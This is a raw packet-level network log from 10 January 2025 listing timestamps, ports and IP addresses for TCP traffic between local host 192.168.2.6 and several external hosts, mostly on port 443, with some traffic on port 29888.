Jan 10, 2025 00:51:37.103575945 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.103588104 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.103626013 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.104007006 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.104017973 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.108118057 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.108154058 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.108268023 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.108459949 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.108474970 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.114607096 CET	443	49763	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.114644051 CET	443	49763	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.114712000 CET	443	49763	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.114717007 CET	49763	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.114747047 CET	49763	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.115751982 CET	49763	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.115775108 CET	443	49763	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.118767977 CET	49786	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.118808031 CET	443	49786	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.119040012 CET	49786	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.119548082 CET	49786	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.119570017 CET	443	49786	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.129976034 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:37.130191088 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:37.130218029 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:37.131283045 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:37.131345987 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:37.132574081 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:37.132657051 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:37.132879019 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:37.132895947 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:37.183442116 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:37.188572884 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.188596010 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.188604116 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.188632011 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.188651085 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.188658953 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.188666105 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.188682079 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.188714981 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.188718081 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.188762903 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.189690113 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.189713955 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.189721107 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.189752102 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.189768076 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.189779043 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.189806938 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.189806938 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.189829111 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.189841986 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.189868927 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.189868927 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.207370043 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.207405090 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.207421064 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.207434893 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.207483053 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.207483053 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.207493067 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.210819006 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.210839033 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.210875988 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.210897923 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.210907936 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.211118937 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.211812019 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.211843014 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.211873055 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.211941957 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.211955070 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.213473082 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.213494062 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.217369080 CET	443	49777	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.217386007 CET	443	49777	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.217401028 CET	443	49777	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.217423916 CET	443	49777	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.217442989 CET	49777	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.217483997 CET	49777	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.218494892 CET	49788	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.218542099 CET	443	49788	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.218713999 CET	49788	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.218836069 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.218868017 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.218935966 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.219335079 CET	49790	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.219351053 CET	443	49790	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.219441891 CET	49790	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.219649076 CET	49791	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.219670057 CET	443	49791	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.219794989 CET	49791	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.220006943 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.220029116 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.220076084 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.220510960 CET	49788	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.220523119 CET	443	49788	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.220783949 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.220810890 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.220853090 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.221126080 CET	49789	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.221147060 CET	443	49789	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.221354961 CET	49790	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.221376896 CET	443	49790	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.221564054 CET	49791	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.221573114 CET	443	49791	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.221659899 CET	49792	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.221672058 CET	443	49792	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.222079992 CET	49793	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.222093105 CET	443	49793	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.222517014 CET	49777	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.222546101 CET	443	49777	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.230134964 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:51:37.231167078 CET	49768	29888	192.168.2.6	35.194.194.1
Jan 10, 2025 00:51:37.236026049 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:51:37.253186941 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.278775930 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.278789997 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.278834105 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.278841019 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.278855085 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.278953075 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.278964996 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.279002905 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.297019958 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.297032118 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.297055006 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.297087908 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.297096968 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.297185898 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.298461914 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.298497915 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.298542023 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.298544884 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.298593044 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.298593044 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.299305916 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.299329996 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.304075003 CET	49794	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.304106951 CET	443	49794	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.304162979 CET	49794	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.304388046 CET	49794	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.304399014 CET	443	49794	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.309492111 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.309530020 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.309645891 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.309958935 CET	49796	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.309974909 CET	443	49796	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.339613914 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.339662075 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.339693069 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.339719057 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.339728117 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.339746952 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.339771032 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.339780092 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.339809895 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.339812994 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.339823008 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.339848042 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.339854002 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.340158939 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.340198994 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.340207100 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.367465019 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.367520094 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.367559910 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.367589951 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.367618084 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.367643118 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.367643118 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.367647886 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.367660999 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.367769003 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.367783070 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.368005037 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.368320942 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.368366957 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.368442059 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.368454933 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.380966902 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.411370039 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.444160938 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:51:37.492316008 CET	49768	29888	192.168.2.6	35.194.194.1
Jan 10, 2025 00:51:37.531878948 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.531941891 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.531969070 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.531999111 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.532030106 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.532047033 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.532077074 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.532094955 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.532115936 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.532124996 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.532167912 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.532205105 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.532206059 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.532218933 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.532268047 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.532279015 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.558104992 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.558163881 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.558240891 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.558263063 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.558371067 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.558398962 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.558435917 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.558443069 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.558475971 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.558624029 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.558698893 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.558741093 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.558747053 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.558762074 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.558862925 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.558907986 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.558942080 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.558942080 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.558950901 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.559014082 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.559331894 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.559335947 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.559427023 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.559464931 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.559478998 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.560544968 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.560647964 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.560749054 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.585613966 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.585629940 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.586858988 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.605130911 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.611862898 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.612061977 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.612148046 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.612150908 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.612176895 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.612226009 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.612319946 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.612593889 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.612644911 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.612658024 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.612734079 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.612818003 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.612858057 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.612868071 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.612931967 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.613389015 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.613445997 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.613490105 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.613609076 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.613617897 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.613681078 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.614279985 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.614330053 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.614365101 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.614391088 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.614469051 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.614480972 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.614542007 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.627741098 CET	443	49781	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.628520012 CET	49781	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.628531933 CET	443	49781	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.629511118 CET	443	49781	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.629575014 CET	49781	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.629893064 CET	49781	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.629950047 CET	443	49781	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.630028009 CET	49781	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.630034924 CET	443	49781	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.661765099 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.661792994 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.679938078 CET	49781	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.710776091 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.710798025 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.746678114 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.746798038 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.746870041 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.747394085 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.747417927 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.750652075 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.750694036 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.750865936 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.751092911 CET	49799	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.751107931 CET	443	49799	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.757255077 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.785940886 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.786057949 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.786194086 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.787127018 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.787143946 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.787230015 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.787230015 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.791690111 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.791707993 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.791891098 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.792088985 CET	49803	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:37.792100906 CET	443	49803	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:37.823230982 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.823659897 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.823673964 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.824086905 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.824481010 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.824589014 CET	443	49785	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.824736118 CET	49785	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.828543901 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.828619957 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.828655958 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.828685045 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.828722000 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.828733921 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.828783035 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.828967094 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.828995943 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.829015970 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.829021931 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.829081059 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.829164982 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.829226017 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.829232931 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.829277039 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.829283953 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.829526901 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.829597950 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.829605103 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.829730034 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.829762936 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.829770088 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.829782009 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.829787970 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.829813957 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.829839945 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.829925060 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.830037117 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.830358982 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.830430984 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.830482960 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.830538034 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:37.830617905 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:37.830667973 CET	49760	443	192.168.2.6	104.26.3.190
